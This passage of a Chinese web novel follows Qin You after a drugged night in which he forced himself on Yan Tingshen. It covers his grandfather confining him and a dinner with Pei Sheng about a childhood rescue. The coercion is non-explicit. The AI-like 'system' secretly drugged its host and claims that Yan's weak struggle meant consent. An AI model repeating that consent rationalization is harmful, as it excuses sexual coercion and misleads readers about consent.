严庭深呼吸渐重,几次去推开秦游,掌下却几次纹丝不动。
“……秦游,”他沉声说着,“你究竟知不知道你在做什么?”
秦游的手落在他手背,带着他慢慢往下,动作轻缓,却不容挣脱。
严庭深五指更紧,气息愈重。
秦游稍拉开距离,低头看他,语气平淡,似乎带着笑意,也不容置疑。
“帮我。”
挣不开秦游的钳制,严庭深的神情沉凝如水。
当指背碰到那团炙热温度,他猛地闭眼,偏过脸,不再去看这双靠近的眼睛。
“……”
良久。
耳边微重的呼吸停歇。
严庭深当即察觉身上的压制有一瞬松懈。
他再看向秦游,见眼前的这张脸褪去往常的浅笑,他始终紧绷的手却缓缓松开。
秦游受药物影响,大概把今晚的事忘得一干二净,见到他,表现才会一如既往。
现在药力即便只短暂的纾解,秦游记忆回笼,又怎么会还像往常。
“放开我。”
秦游看向严庭深。
对上这双眼睛,他强压着体内又在卷土重来的躁动,沉默片刻,依言松手。
手腕上难以挣脱的力道终于不在。
严庭深垂眸扫过,心底却没有一丝放松。
他抬眼和秦游对视,语气也在克制:“看清楚了吗。”
秦游微顿。
严庭深道:“我是严庭深。”
闻言,秦游心底也划过一抹异样。
他知道,严庭深会来找他,一定料不到会是这样的情景,想说的话,也一定不是这一句。
正在这时,门外传来敲门声。
“秦总,你们洗好了吗?”
项海峰低声焦急地问,“快出来吧,董事长来了!”
第 62 章 宿主你总算醒了!
汽车缓缓驶进大门。
有层层安保, 对方来时已经通报。
管家早等在门前,见秦恒钟下车,马上迎了过去:“老爷。”
秦恒钟看了看他:“秦游呢?”
管家目光游移:“秦先生, 他, 在卧室……”
虽然提前得到消息,可外面的关卡离这里不算远,开车时间就更短了。
项海峰刚才上去报信, 现在还没下来,也不知道卧室里到底是什么光景。
秦恒钟听出管家语气里的躲闪, 也不再多问, 进门直接走向楼梯。
管家忙跟在他身后, 一起上楼。
还没走到地方, 两人先看到站在秦游卧室门前的项海峰。
项海峰也听到脚步声, 看到来人是谁, 顿时心里暗道一声“不好”, 低头跟秦恒钟问好:“董事长。”
秦恒钟看向紧闭的房门:“秦游在里面?”
项海峰点头:“是的。”
秦恒钟又问:“里面还有谁?”
“……”项海峰哑了。
秦恒钟于是继续上前。
他抬手正要敲门声, 听到一声轻响。
门开了。
项海峰迅速抬头看了一眼, 发现门内两人至少是衣衫整齐, 不由松了口气。
可紧接着, 他发现严庭深身上穿的衣服,不是来时的那套,反而看着有种诡异的眼熟。
他下意识去看秦恒钟, 又低下了头,宁愿不去深想为什么眼熟。
“秦老。”
秦恒钟先看向开口的严庭深。
只一眼,他的眼神就暗沉下去。
他和严家的小辈没有多少来往,但严庭深还是见过几次的,对方给他的印象也十分深刻, 却从来不像今天这样过分随意。
入夜还在秦游这、在秦游的卧室,头发没有打理,甚至是半湿的。
出门时,神色也稍显冷硬,虽说很快收敛,但情绪在人前外露,本身就是破绽,很不像他。
秦恒钟视线往下,看到他右手的伤口,皱了皱眉,又看向秦游——
看到秦游的瞬间,秦恒钟眼神更沉。
原来比起秦游,严庭深还算正常。
秦恒钟看着秦游湿透的头发,看过他纽扣都没系好的领口,看到他身上到处来不及擦干、沾湿衬衫的水迹——
秦恒钟的目光从两人身上扫过,来之前最后的一丝侥幸也消失不见。
看到这一幕,他还有什么不明白?
秦游正拿过毛巾擦干头发。
严庭深开口,他也问候了一句:“您怎么来了。”
系统也从他脑海里抬出来,茫然不解:【是啊宿主,这个配角怎么来了,而且刚才我怎么被锁进小黑屋了,你不是在洗澡——啊!!】
话没说完,它突然尖叫一声,【宿主!主角怎么会在这里!你刚才不会又跟他性|交了吧?不要啊,宿主,不要啊!!】
听到它的声音,发生在那个逼仄空间内的画面忽然涌回脑海,秦游手上动作微顿。
系统吓得快要短路:【宿主你忘了吗,他是主角,不是我们的任务目标!】
秦游道:【……闭嘴。】
系统没敢再说话。
“我听说你受了伤,身体又不舒服,特意来看看你。”
秦恒钟正说着,话到这,他意有所指,“没想到严总比我来得更早。”
闻言,严庭深看到跟在他身后的医生,只淡声道:“既然秦老在,我就不打扰了。”
秦恒钟从严庭深的语气神情,已经看不出他真实想法。
但事已至此,把话挑明,不如给彼此留些体面。
所以秦恒钟没有多说什么,也没有留他:“路上小心。”
严庭深正要走。
秦游抬手拦了他一把。
严庭深脚步微停,没有看他。
秦游转向医生:“他的手也有伤,帮他包扎一下。”
“不必了。”
严庭深避开秦游的手,往前一步,又住脚。
片刻的沉默间,他像难得在犹豫,最后还是径自往前,独自离开。
秦游皱眉,再抬手的动作却被秦恒钟打断。
秦恒钟走到秦游面前,挡住他的视线,拦在他和严庭深之间:“他用不着你关心。”
就近看到秦游手掌的伤痕,秦恒钟也皱起眉头,示意医生上前,“看看你自己的伤,这么严重还不处理,像什么样子?”
秦游眸光微凛,敏锐察觉出秦恒钟话里对严庭深的针对。
然而不断搅乱他思绪的炽热温度又在肆无忌惮,他按了按鼻梁,也不再有精力去探究这些言外之意。
不多时,他的视线越过拦在身前的人群,看到走廊上那道形单影只的背影消失在拐角。
秦恒钟的声音又传来:“你的脸色不太好,还有哪里不舒服?”
秦游收回视线,转身回房:“我没事。”
医生跟着他来到沙发前,等他坐下,才小心翼翼地为他处理伤口。
秦游倚在沙发靠背,张手按在前额,闭眼缓解脑海体内的不适。
直到伤口包扎好,医生退下,秦恒钟本想和他说点什么,见他在这种状态下竟然几乎睡着,只能按下心底种种问句,让他先休息一晚,转身去了客房。
秦游没在意秦恒钟的去向,去简单洗漱过,到床上躺下。
他闭着眼。
刚才听到的质问似乎还在耳边。
‘看清楚了吗。’
秦游皱眉。
眼前是已经熟悉的脸,那道声音他也早已习惯。
但那不是他的目标。
他为任务所做的一切付诸东流,连目标本身都是一场误会。
‘我是严庭深。’
秦游轻叹,排空杂念,再过良久,终于沉沉睡了。
一夜过去,他再醒来时,额角传来阵阵闷涨的钝痛。
系统看到他动作,跳了出来:【呜呜呜宿主你总算醒了,我们现在该怎么办啊?】
脑海里传来的声音立刻唤醒昨晚的记忆。
秦游按在前额的手一顿,倏地睁眼。
系统憋了一晚,忍得浑身难受:【目标变成主角,主角变成目标,为了任务着想,宿主你应该和主角保持距离,昨晚怎么还和主角发生性关系呢?】
性关系?
有一段记忆席卷回笼。
秦游掀开被子的手又顿住。
【最重要的是,我们的能量变成负数,说明主角这个铁石心肠的坏蛋一点都靠不住!】
系统还义愤填膺,【书里说得没错,他就是心狠手辣,冷酷无情,宿主你以前都白白对他那么好了!】
秦游按在鼻梁,看到它打开的页面,昨晚的记忆碎片渐渐囫囵整合。
“阿笙”是严庭深,和——
秦游看向浴室,直觉头疼。
——昨晚,严庭深被他强迫。
系统跟随宿主视野,看到浴室,更生气了:【是吧宿主,主角昨晚明明都自愿和你性|交了,根本就是对你有感情嘛,否则他一个身体素质很强的成年男人,难道还不会挣扎吗?宿主你又不会强|奸他!】
秦游:“……”
【现在关键进展出现波动,扣了宿主的能量,这不就是享受完了,开始翻脸不认人吗!】
系统振振有词地说完,替宿主不平,【呸,坏蛋!】
秦游道:【……闭嘴。】
系统委屈:【宿主我说的是真的,上次任务失败,你不是兑换了一次查看权限吗,可以抵消失败惩罚的主线关键进展,就是主角的感情进度。进度上涨,抵消惩罚;现在抵消的能量被扣除,那不就是进度下降了吗?】
秦游从床边起身,没再开口。
系统的推测,论点在于严庭深的感情进展是因他而起。但这一点还不能断定。
昨晚的记忆虽然在药物下模糊,一些细节难以分辨,可他清楚记得。
严庭深两次都是受他强迫,两次都在挣扎,只是挣脱不开,才两次被动接受。
如果严庭深真的对他有特殊感情,只是因为错认的事生气。
那么在泽水湾之前,在苍苑的那一次,又怎么会是同样的反应。
秦游皱眉回想,但昏沉的脑海已经给不出更多细节。
他记起最多的画面,只有他得知认错人的那一刻,那双愈演愈烈、沉怒难消的眉眼。
他也不能断定,严庭深的怒火有几分来自被他强迫;有几分来自被他强迫的情景被裴笙当场撞见;
又有几分,是这段时间的交情,其实只是一场阴差阳错的误会,所以他记得耳边的那句强调,记得那个和他在这个世界、关系曾最密切的那个人,他是严庭深。
【不过宿主,我突然想起来……】
系统说着说着,又有新的灵光乍现,【昨晚主角为什么会来找你呢?他是不是有话要跟你说?说不定他是想跟你重归旧好呢!】
秦游走到卫生间,到洗漱台前。
他开了冷水,洗去一夜的疲惫,抬头时,镜子里一闪而过,又是严庭深含怒质问的脸。
重归旧好?
以他了解的严庭深的性格,昨晚会来,应该是理智压过情绪,想和他谈一谈。毕竟人需要把控情绪,而不是被情绪把控。
能真正按捺住愤怒做到这一点,已经很不容易。
可惜,愤怒可以按捺一次,到了第二次,就没有那么简单了。
他闭了闭眼,只对系统说:【以后,不要在我身上用药。】
系统说:【……好的。】
不由宿主吩咐,它也不敢再用了。
昨晚吓死它了……
秦游洗漱后打开房门,下楼时,看到秦恒钟也在。
“醒了。”秦恒钟正在等他,见他下来,和他一起走向餐室,“吃饭吧。吃完之后,我有话要跟你谈。”
秦游没去问他。
直到饭后,两人来到书房。
有足足一个晚上的时间深思熟虑,到了真正谈话的这一刻,秦恒钟没有拐弯抹角。
他看向秦游,直截了当地说:“秦游,如果你还想继承秦氏,那就答应我,从今天起,不准再和严庭深交往。”
第 63 章 是他?
不再和严庭深交往?
听到这个要求, 秦游轻轻失笑。
秦恒钟听到他的笑声,皱起眉头:“你笑什么?”
秦游到沙发前坐下,笑意不减, 语气淡淡:“您要说的, 不止这句话吧。”
秦恒钟皱眉看着。
到了这个时候,还这样游刃有余,仅从这一点, 他很满意秦游的心性。
但相对的,对于这件事, 秦游应对得越从容, 越表现出秦游心里的顽固。
“没错。我要说的话, 之前也跟你提过。”
秦恒钟说着, 也到秦游对面坐下, “你已经二十六了, 到了成家的年纪, 上次见面的刘小姐你不喜欢, 我会再帮你留意, 你——”
秦游道:“不用麻烦了。”
被他打断, 秦恒钟又皱了皱眉:“秦游, 我不是在跟你商量,你也要明白,想接手秦氏, 必须要有一个继承人。”
秦游笑了笑,只说:“如果我不想接手呢?”
秦恒钟脸色微变,气怒交加:“你说什么!”
系统也慌了:【宿主,任务还没完成,失去秦氏总经理的身份, 你的人设就不完整了,对任务不利呀!】
秦游道:【你认为现在很顺利?】
【……】系统哑口无言,还想挣扎,【可这个不一样啊……】
秦游没理它,对秦恒钟说:“解除职务,或是收回股份,随您高兴,但不论您看中哪位小姐,我都不会再见面。”
秦氏总经理的身份,他原本也不打算维持。
碍于系统口中的人设,他当了这个活靶子,现在既然任务本身出现这么大的纰漏,剧情还是正常进行,那么人设上再多的不足,相比而言,全都微不足道。
听到他的话,秦恒钟却怒火中烧:“为了严庭深?”
秦游道:“这是我的决定,和他无关。”
“和他无关?”
秦恒钟怒极反笑,“秦游,我是老了,可还不是个老糊涂!”
秦游自从回国,在秦氏说不上刻苦钻研,却也算勤勉,总经办经手的事务,一概打理得井井有条,对公司的负责和付出,他全都看在眼里。
期间就算被自家人下了黑手,秦游连向他抱怨都没有过,还顾念亲情,从不深究,更难能可贵的是,秦游意志坚定,没被这些烦心的事打乱阵脚,没有一刻懈怠,养病期间也不忘公司的事。
他原以为秦游就是他最完美的接班人,没想到今天,秦游竟然为了一个男人,什么都不顾,还说出这种混账话!
秦游看出秦恒钟对他和严庭深的关系存在误解:“我和他只是朋友。”
“朋友?”
秦恒钟又怒笑一声,书房里没有第三个人,他把话问得很直接,“那你能不能告诉我,昨晚夜里,我来之前,你和你的这位朋友,在房间里都在做些什么?”
秦游微顿。
秦恒钟看他的反应,脸色更加难看:“你以为我看不出来?到了现在,你还想骗我?”
第一印象先入为主,秦游知道说得再多也是枉费。
他没再解释,反正秦恒钟看样子对严庭深颇有怨念,有误会也不会到当事人面前传播谣言。
秦游只说:“您这么想,那我也没办法。”
秦恒钟气得深吸一口气:“从此以后,和严庭深断绝来往,你还是秦氏的总经理,你的股份也不会动一分一毫。”
秦游听他说完,才笑说:“您还是不明白,这些东西,我不需要。”
系统哭了。
它想说话,又不敢出声。
任务已经濒临崩盘,宿主不挽回就算了,还在本来就破破烂烂的剧情里雪上加霜,把人设也是彻底抛弃……
霸道反派。
和主角私下里又亲又摸,都性|交两次了,还算反派吗?
好不容易剩下一个霸道的身份还能扭转大局,现在霸道也没有了……
宿主和真正的目标可连话都没说过几句呢!
没有这层身份,宿主要怎么接近目标,弥补这段时间错过的进度,迅速把人搞到手,再迅速降低好感度?
书房里陷入短暂的死寂。
没多久,秦恒钟的语气没了怒火,变得沉冷:“秦游,你真的要为了图一时的新鲜,放弃秦氏?”
秦游道:“您可以这么想。”
秦恒钟霍然起身:“你——!”
和秦游相处的这段时间,足够让他了解秦游的性格。
他在秦游身上看到的优点,同时也是缺点。
心有主见,处变不惊。
正如现在的秦游,我行我素,一意孤行。
秦游显然已经认定了严庭深,到了为此可以真的舍弃秦氏的地步。
想到这,秦恒钟按了按胸前,直觉心脏隐隐作痛。
系统忙说:【宿主,这个配角好像要心脏病发了!】
秦游皱眉,当即按铃让管家进来,再去拨急救电话。
按原身的记忆,秦恒钟的死因的确是心脏病发,不过和原身喜欢男人无关。
具体原因的记忆缺失,想必是秦氏内部争斗,毕竟正是秦恒钟身死,秦氏才真正开始大乱。
秦恒钟弯腰一把按住他的手,从怀里拿药服下,才再看他:“真的关心我这老头子的身体,就不要和男人搅和在一起!”
这时管家开门进来。
秦恒钟也没奢望从秦游口中听到想听的回答,话落就站直起身,对管家说:“秦游病了,从今天起,他要留在家里养病,除我之外,也不允许任何人来探望。”
对于人身自由被限制,秦游没有意外。
秦恒钟这样的反应,和原身记忆里相差无几。
系统却有点慌了:【宿主,他是要把你关起来吗,这期间要是触发任务怎么办啊……】
任务再失败,它就真的要和宿主永别了。
都怪主角那么小气!
感情进度莫名其妙变成波动,还扣除了宿主的一点能量,否则宿主也不会这么被动,完成一次任务,才只够还债。
系统愤愤不平。
关键是这样一来,基本可以确定关键进度不能再抵消失败惩罚,这次的任务必须要完成才行。
这本来就很有压力了。
要是宿主被困在家里,难度又要增加。
秦恒钟已经走到门口。
出门时,他回头看了秦游一眼:“我给你三天时间,好好想想吧。”
在系统绝望的抗拒里,提示音随即响起。
【剧情节点触发。】
【宿主遭遇困境,请设法与目标见面,并向目标深情承诺。时限:十小时。】
—
下午四点半。
钧闵大楼,电梯内。
“庭深这两天受什么刺激了,周末两天都来加班?”
齐晏百无聊赖地看着跳动的楼层数字,又看向裴笙,不由挑眉,“你怎么也魂不守舍的?”
裴笙抿了抿唇。
自从昨晚离开,他没再和庭深见过面。
今天他也去过苍苑,但管家说,庭深也是昨晚离开,只留下一句交代,之后暂时不会再回来。
那套别墅是庭深在京启住惯的地方,从没变过,一夜之间搬走,除了和秦游有关,他想不到第二个原因。
昨晚究竟发生了什么,让庭深生气到这个地步?
秦游也表现得很异常。
如果两人是为什么误解在争执,那庭深昨晚为什么会让他过去?
按庭深的性格,会和秦游争论已经是匪夷所思。
何况明知他会到场,庭深又怎么会把和秦游的矛盾在他面前暴露?
“裴笙?”
裴笙回神,看向齐晏,想了想,对他说:“一会进去,你不要乱说话。”
“……”齐晏听得很不痛快,“我发现你们现在有点搞针对了,我什么时候乱说过话?”
裴笙还没再出声,电梯到了。
齐晏往外走:“我警告你,少污蔑我啊。”
裴笙慢了一步:“是秦游的事。”
“啊!秦游,我想起来我也有件事——”
说到一半,齐晏警惕地看了看他,“你又转移话题,裴笙,你这次别想让我上当,快说,到底怎么回事?”
裴笙说:“这件事说来话长。”
“不想说就算了。”
齐晏懒得听他敷衍,也要为自己的清白正名,“我这次来找庭深是为了正事,一会儿你帮我多说点好话,他这天天加班的,帮我的忙还不是顺手的事。”
裴笙还想提醒他几句,又几次被他的规划打断。
到了总裁办公室,齐晏敲了敲敞开的门:“严总,忙着呢?”
裴笙也看向严庭深。
对方看起来和平常没什么两样。
准确地说,除了昨晚,除了关于秦游,他印象里的严庭深,总是和平常没有两样。
齐晏毫无所觉,笑着走到桌前,本来想套套近乎,结果一眼看到严庭深拿笔的右手,表情一愣:“你这手怎么回事?”
裴笙听到,快走两步往前,这才看到,严庭深手上缠着绷带,绷带之外露出的指节,还能看到半结痂的狰狞伤口。
他下意识看向严庭深的脸,猜到昨晚他走之后,一定又发生过什么。
严庭深没有抬头,语气也是如常:“没事。”
齐晏皱着眉:“这还叫没——”
裴笙按了按他的臂弯,对他轻轻摇头。
齐晏见状,虽然不解,还是没再追问,转而换了个话题:“那就提点让你高兴的吧。”
他在桌前坐下,笑着说,“老唐特意为你和秦游弄了几条新雪道——”
闻言,严庭深握笔的手倏地收紧。
齐晏接着说:“——绝对私人,再也不会有无关人等打扰你们了——”
裴笙踢了他一脚。
“哎——”齐晏刚要不满,看到裴笙的表情,又顺着裴笙的视线看向面无表情的严庭深,不由讪讪,“他也是赔罪,没想到会有视频这回——”
又被踢了一脚。
“……”齐晏自认对老唐仁至义尽了,不再提滑雪场,余光看到严庭深左腕的手表,他又转移话题,“不是,你这表怎么又换回来了?秦游送你的那块——”
“……”裴笙索性一脚踩在齐晏脚面。
齐晏险些咬到舌头,弓腰好悬才把脚从裴笙鞋底拔出来,抬头还没发火,突然对上对面严庭深不知什么时候看来的眼神。
他咽了咽口水,双眼往下飘了飘,试图引走对方的主意:“那个,你的手……”
裴笙也看到绷带下透出的血色,正要说话,口袋里突然响起来电铃声。
齐晏赶紧转向他:“来电话了?谁的?”
裴笙只好先掏出手机,看到是陌生号码,他没接听,挂断后看向严庭深:“你的伤口可能裂开了,先处理一下吧。”
说完,短信提醒又到了。
手机还没收回,裴笙看了屏幕一眼。
是刚才的那个号码。
短信很简洁,只有四个字。
“我是秦游。”
一眼扫过,裴笙握住手机的手猛地一紧。
他下意识反扣屏幕,才看向严庭深。
严庭深正看着他。
眸光深邃,依旧轻易把他看穿。
裴笙的手握得更紧。
严庭深搁笔,视线扫过他的手机,只问了两个字。
“是他?”
第 64 章 连一天都等不及吗。……
听到这两个字, 裴笙心头一跳。
不知道为什么,严庭深看他的眼神、问出这句话的语气,都让他莫名感到心虚。
他也不知道秦游为什么会在这个时候单独联系他。
毕竟秦游向来不喜欢他, 更从来没和他交换过联系方式——
裴笙本能避开严庭深的视线, 还没回答,来电铃声又响起。
齐晏在一旁听得云里雾里:“他?谁啊?你们打什么哑谜?”
他的问题没人回答。
裴笙沉默地握着响铃手机,直觉像攥着一块烫手山芋。
他又下意识看向严庭深:“……是他。庭深, 我……”
严庭深仿佛并不放在心上,只淡声道:“接电话。”
“……”裴笙抿了抿唇, 才按了接听, 把手机送到耳边。
听筒很快传来秦游的声音:“方便说话吗?”
裴笙克制着, 没再去看严庭深:“……方便。”
秦游道:“六点有空吗, 一起吃顿饭吧。”
裴笙垂着眼, 闻言又攥紧手机:“这……”
放在平常, 秦游主动邀请, 他无论如何都不会拒绝。可放在现在……
秦游道:“有约?”
“不是。”
裴笙迟疑一秒, 直言说:“……我在庭深办公室, 你要不要——”
秦游打断了他:“既然方便, 五点半, 我去钧闵接你。”
裴笙还想说什么,没能出声,通话已经挂断。
见他放下手机, 齐晏又问:“到底谁的电话?你怎么这副表情?”
裴笙说:“小秦总。”
齐晏眨了眨眼,不明所以:“秦游给你打电话?”
太阳打西边出来了?
他和裴笙,不是还在秦游的黑名单里吗?
裴笙已经看向严庭深,想了想,没有隐瞒:“他……约我吃顿饭。”
齐晏从椅子上坐正:“不是, 秦游约你吃饭?你们什么时候关系这么好了??”
对面,严庭深看着电脑上久久没有翻页的报表,按在扶手的右手无知无觉间一再加重,血色浸透纱布,红得触目惊心。
秦游会联系裴笙,在他意料之内。
他没想到的是,秦游会这样迫不及待。
连一天都等不及吗。
昨晚中了药,又在冷水里泡了那么久,今天恐怕还病着,却还是抵不过对真正的“阿笙”的感情。
齐晏这时也看向严庭深:“庭深,这你不管管?秦游私下里约裴笙见面,跟你提过没有?”
开玩笑。
大家都在黑名单里,他还有人作伴,结果裴笙闷不作响地释放了,他一个人岂不是显得悲凉凄惨?
齐晏越想越觉得不对,又说:“至少你跟他说一声,不能厚此薄彼——”
又挨了一脚。
“……”齐晏转向裴笙。
裴笙皱眉看他:“你少说两句。”
齐晏回过神,终于反应过来,看看裴笙,再看看严庭深,不由起身到裴笙身旁,低声问:“怎么回事?吵架啦?”
裴笙顿了顿,点了点头。
齐晏暗吸一口凉气。
他实在想象不出来,严庭深吵架会是什么样的场景。
裴笙没再理他,只对严庭深说:“庭深,如果你介意,我这就打电话给小秦总——”
“那是你和他的事。”
严庭深淡声道,“我为什么会介意。”
闻言,裴笙一时不语。
看着严庭深的侧脸,半晌,他忍不住说:“庭深,我不知道你和小秦总之间发生了什么,但及时解除误会,总好过把矛盾压在心里、让问题越来越严重。你比我更懂这个道理。”
严庭深眸光渐沉。
裴笙接着说:“更何况,对你,小秦总一向比对别人上心——”
听到这句话。
尤其从裴笙的口中听到这句话——
严庭深下颚冷硬,陡然闭眼:“够了。”
裴笙犹豫着,往前半步:“庭深——”
严庭深转眼看他,眼底掺着如霜的寒冽,语气也不复平淡:“我说够了!”
齐晏吓了一跳。
他还从没见过严庭深动怒。
听这语气,看样子和秦游吵得不轻啊。
他想着,默默往后退了一步。
裴笙也下意识退回半步。
办公室内安静着。
齐晏左右看看,还是硬着头皮,从怀里掏出手机,硬生生地转移话题:“那什么,庭深,我今天来还是为了地皮的事,你帮我参谋一下。”
裴笙站在原地,没多久,也走上前,顺着他的话问:“你目前是什么方案?”
齐晏瞄一眼严庭深的脸色,才清咳一声,继续说了下去。
直到一小时后,同一道来电铃声又突兀响起。
极力掩饰的平静被刹那戳破,办公室里又陷入死寂。
不多时,是严庭深淡声开口:“去吧。”
裴笙也不再提起回绝的事:“……好。”
话落,他最后看了看严庭深,才转身出门。
齐晏留在办公室:“我们俩也找个地方坐坐?”
严庭深没抬头:“你也去吧。我还有事要处理。”
齐晏沉默着。
能有多大的事,需要严庭深特意加班这么久处理?
看出对方现在不想被打扰,他也站起来,暗暗叹了口气:“那我走了?”
严庭深道:“嗯。”
听到脚步声渐行渐远,严庭深看过最后几封邮件,关了电脑。
他从桌前起身,拿起外套,正要出门,感觉到口袋里的表盒,脚下不由顿住。
寂静无声的室内,心跳声都显得嘈杂。
记起这个昨晚他原本打算还清、却忘了还出手的礼物,严庭深握着外套的手缓缓收紧。
秦游这么迫切想见裴笙,曾经送过他什么,大概早已经抛诸脑后,还与不还,又有什么意义。
良久,严庭深从口袋里取出表盒,走到垃圾桶旁。
但表盒握在掌心,几度没有脱手,他闭了闭眼,还是收了手,转身走到落地窗前。
五点过半,窗外渐渐昏沉。
他站在窗边下望,和地面距离遥远,只能看到空旷的街道,看到一片又一片路灯亮起。
至于灯光下的人。
严庭深抿直薄唇,错觉心底流过针扎似的刺痛。
那个人,即便再来钧闵,也不会和他有关。
—
“叮——”
齐晏和裴笙一起走出电梯。
没了严庭深,他说话也没有顾忌:“你倒是说话呀,秦游到底为什么约你吃饭?他跟庭深吵架,就算找中间人,凭什么只找你,没我的份?”
裴笙说:“我不是十万个为什么。”
“……”齐晏说,“那你猜呢?”
裴笙说:“你猜吧。我马上就知道了。”
“……”为了探听兄弟的八卦,齐晏咬牙忍了,“你先跟我说说,他俩吵架是怎么回事?前几天不是还在卿卿我我吗?”
裴笙这次的回答直截了当:“我不知道。”
齐晏深吸一口气,想给他点颜色瞧瞧,奈何他只有这一个八卦渠道,说实话人也小小的惹不起:“……那你知道什么?”
裴笙径直走向门外,清冷的声音带着敷衍:“他们闹了点矛盾。”
齐晏:“……”
他实在有点忍不下去了。
到了门口,没看到秦游的影子,齐晏刚想问,就看到稍远处,秦游的车开着大灯,正停在路边。
齐晏忍不住说:“停那么远干什么?敢情我们不是庭深,就得顶着冷风多走这么远的路?”
裴笙看他一眼:“他没请你。”
“……”齐晏只当没听见,“真冷啊,走快点。”
走近过去,他已经看到秦游。
秦游没在车里。
炽亮的车灯把他的身影勾勒得清清楚楚,路灯也自上而下,照在他的全身。
齐晏脚步停了。
浓郁悠长的烟雾在缓慢扩散,他先在寒风里闻到浅浅的烟味,才切实看见人影。
秦游抱臂倚在行道树,一身黑色皮革风衣,戴着同色皮手套的右手微垂在身前,指间的红点在灯光下明明灭灭。
他逆着车灯,立起的衣领在风声中起伏,隐隐挡住了下半张脸,露出的眉眼也被缭绕的烟雾遮掩,看不出神情,只看得出在微微抬头,或许在看天。
齐晏只看一眼,暗骂一句。
仗着自己长得帅,臭显摆什么?
裴笙也停了停,才继续走近,出声道:“小秦总?”
听到动静,秦游转眼看他,吸过最后一口,把烟蒂按进一旁垃圾桶上的烟碟,微摆手挥散面前的烟雾,才从树前直起身,回到车前。
齐晏看着他,酸溜溜地说:“秦总抽烟?”
秦游淡淡说:“偶尔。”
他看向裴笙,“介意吗?不喜欢烟味,我们可以先走走。”
裴笙摇头说:“没关系,我不介意。”
听出秦游的声音微微沙哑,再看秦游随意松散的外套前襟,他多说一句,“快上车吧。”
秦游略一颔首,到车旁帮他打开车门。
齐晏看着裴笙上车,有话要问,就见秦游关了门,视线扫过他,只留下五个字。
“齐总自便吧。”
“……”看着秦游绕过车尾也坐上车,齐晏僵着脸,出离愤怒。
不是。
这对吗……?
但汽车和他的悲喜不相干。
司机回到驾驶座,很快开车在马路上疾驰。
系统则在心惊胆战:【宿主你要抓紧时间啊,你这么光明正大地出来,要是被配角发现,肯定要出事的!】
除了它的声音。
裴笙坐在后座,看向秦游,也忍不住问:“小秦总今天找我,有什么事吗?”
秦游也看着裴笙。
这张脸,和严庭深截然不同。
虽然神色有几分相似,但相比严庭深的凛厉强势,裴笙的脸更精致,也相对温和。更符合书中目标的性格。
按理来说,对这样截然不同的两个人,他不该认错。
裴笙抿唇,避开了这道让他像一件物品被看穿的眼神:“小秦总?”
秦游没有收回视线。
他先确定:“我的确有一件事要问你。”
裴笙说:“什么?”
秦游道:“四岁那年,有一天夜里,你是不是救过一个人?”
裴笙一愣。
他看向秦游:“……是你?”
秦游笑了笑,对他说:“没错。那是我。”
第 65 章 这是我的承诺。
裴笙面露惊讶。
他怎么都没想到, 秦游约他出来,竟然会是说起这件事;也根本没想过,小时候救过的那个人, 竟然会是秦游。
“你……”
秦游看他的反应:“怎么, 不信?”
裴笙又避开他的眼神:“不……我只是,没想到会是你。”
“是啊。”
秦游也看向车窗外,淡声说, “我也很意外。”
裴笙才看向眼前的侧脸。
他同样想不到,就在前不久, 他还向齐晏提起过这件事, 这么巧, 小时候遇见又消失的人, 今天就找到了——
想到这, 裴笙忽然眉头一紧。
就在昨晚, 庭深让他去苍苑之前, 在电话里也提起过这件事。
之后看到两人起了争执, 他把这件事忘了, 现在秦游又提起, 他不得不多想。
时间太凑巧。
偏偏就在这之后, 一直相处融洽的两个人起了冲突,至今还在冷战。
难道两人矛盾的起点,和这件事有关?
裴笙回神, 不由又看秦游。
其中应该还有另外的原因。
毕竟他实在猜不透,单纯一件四岁的往事,有什么资格值得让他们生出这么大的隔阂。
“小秦总,我知道我们还没有多深的交情,有些话说出来可能会很冒昧, 但有个问题,我想问你……”
秦游转眼看他:“你问。”
裴笙于是直言说:“你和庭深之间的感情,真的要因为一次误会就抛下吗?”
秦游一顿。
除去苍苑,在杉韵酒庄那一次“强吻”严庭深,裴笙也亲眼见过。
两次看到他对严庭深“强取豪夺”,裴笙会有这种误解,并不奇怪。
裴笙接着说:“我明白,我只是不了解具体情况的局外人,可你和庭深的感情,连我这个局外人都看得很清楚——”
“好了。”
秦游打断他,唇边带笑,“今晚是请你吃饭,不提他了。”
裴笙抿了抿唇。
车厢里略显昏暗,他听出秦游的语气没有变化,对他的态度更是此前从未有过的温柔。
他看到秦游面上带着笑意,可那双点漆眸光,还被冰冷的镜片遮挡,看不见丝毫神色。
但秦游和庭深性格相仿,已经说出口的决定,就算语气不同,也都是相同的不容辩驳。
十五分钟后。
汽车按行程在餐厅门前停下。
秦游和裴笙到定好的包厢,一顿饭吃完,时间刚过六点半。
裴笙放下酒杯,看向对面的秦游。
借小时候一次无意做过的好事,他才有机会和秦游真正相处。
当真正和秦游相处,他才意识到,只要秦游愿意,可以让任何人如沐春风。
赴约之前,他以为这次见面一定气氛局促。
刻意在秦游面前提起庭深,他也做好处境尴尬的准备。
但没有。
一分一秒都没有。
将近一个小时,除了秦游大概和庭深一样,习惯了主导主题走向,其余一切,都自然地让他意外。
聊起四岁,聊起那次雪夜,聊起小时候的青宁路,他从不对外人提起的所有话题,都自然而然,在这一个小时里和秦游聊遍。
不过,还有一点,他看得很清楚。
裴笙看着秦游浅笑的脸。
他不知多少次看过秦游和庭深在一起,所以才能分辨。
比起总是在无意间从唇边融进眼底眉梢的笑意,秦游在面对其他人的时候,从不会展露真正的心情。
裴笙正想着,听到秦游握拳遮在唇前,又咳了一声,不由问他:“你的病真的没事吗?”
秦游笑说:“不要紧。”
裴笙还想再说什么。
“走吧。”秦游已经从桌前起身,“我送你回去。”
裴笙沉默着依言和他一起站起来,走向门外。
秦游把人送回住处。
还在车上,系统忍不住提醒:【宿主,承诺,别忘了承诺。】
说完,它开始展示原文。
【阿笙,昨晚的事我向你道歉,可那都是因为我太爱你了,所以我不顾一切了,我想得到你,想拥有你!这难道有错吗——】
秦游道:【重点。】
【哦哦哦!】系统说,【对不起啊宿主,忘了你昨晚拥有成主角了,这一段跳过!】
它说着,赶紧把新内容更换。
【阿笙别走!听我说!答应我,离开严庭深,只要你离开严庭深,秦氏的一切我都会给你,有了秦氏,你想东山再起,哪怕重新创立一个册海集团都可以!
【你要相信我,严庭深能给你的,我都会给;严庭深不能给你的,你从我这都能拿去!
【阿笙,我爱你,爱得不能自拔——】
“……”秦游直接关了系统面板。
【哎!】系统忙说,【宿主,后面还有呢,你怎么不看完?】
秦游道:【足够了。】
系统忧心忡忡:【真的够吗?情景都和台词对不上了……】
看台词,目标可是很生气的。
现在人换了一个,台词看着都不对劲……
秦游没再理它。
车停稳后,他下车送裴笙到门口。
